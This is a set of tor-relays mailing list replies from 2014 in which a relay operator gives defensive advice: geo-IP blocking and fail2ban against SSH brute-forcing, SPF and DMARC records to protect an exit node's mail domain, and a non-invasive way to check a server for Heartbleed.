On 18.11.2014 18:40, Dan Thill wrote: In my equally limited experience, my piddly middle relay went from about 100 SSH related fail2bans/day to zero when I changed the port. I fully recognize changing the port is mere obfuscation (I use public key anyways), but I just got tired of seeing the same list of abusers (China, Russia) in the logs every single day. ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays A good option to avoid bruteforces from these special countries is to combine sshd with geo-IP based blocking. I am using a python based script to block countrys based on their two-letter countrycode. Just block all the countries you don’t live/work/travel in combine it with fail2ban, disable root login and you are probably as safe as with key based logins. BR Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Protecting your domain's reputation
Hey. Am 19.08.2014 17:51, schrieb JusticeRage: The good news is, there is something you can do about it. This is exactly what Sender Policy Framework [1] was created for. Long story short, this is some information you can put in your DNS to indicate which machines are allowed to send e-mails for the domains, and which are not (hint: the exit node should not be listed in there). You should consider adding a DMARC record as well (with the reject policy). This is a somewhat more recent standard that allows you to explicitly drop emails which do not have a DKIM signature for your domain and/or fail SPF checks. Most of the big email companies seem to respect DMARC now. See http://www.dmarc.org for details. felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Long-term effect of Heartbleed on Tor
*However*, if there's a way to specify the data it sends back, that wouldn't be a problem (I'm no legal specialist though). I have not yet tested my theory, but sending a few extra bytes in the heartbeat message (and of course incrementing 'length' in the 'ssl3_record_st' struct) should do that. It would allow causing the server to return data the client sent. If it's not sent back, the server isn't vulnerable. No random memory is read as the server did in fact allocate the memory, it's simply not supposed to use it. If I get you in the right way I think this is what you are asking for: https://github.com/FiloSottile/Heartbleed This guy is sending a string in and reads it back. BR Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
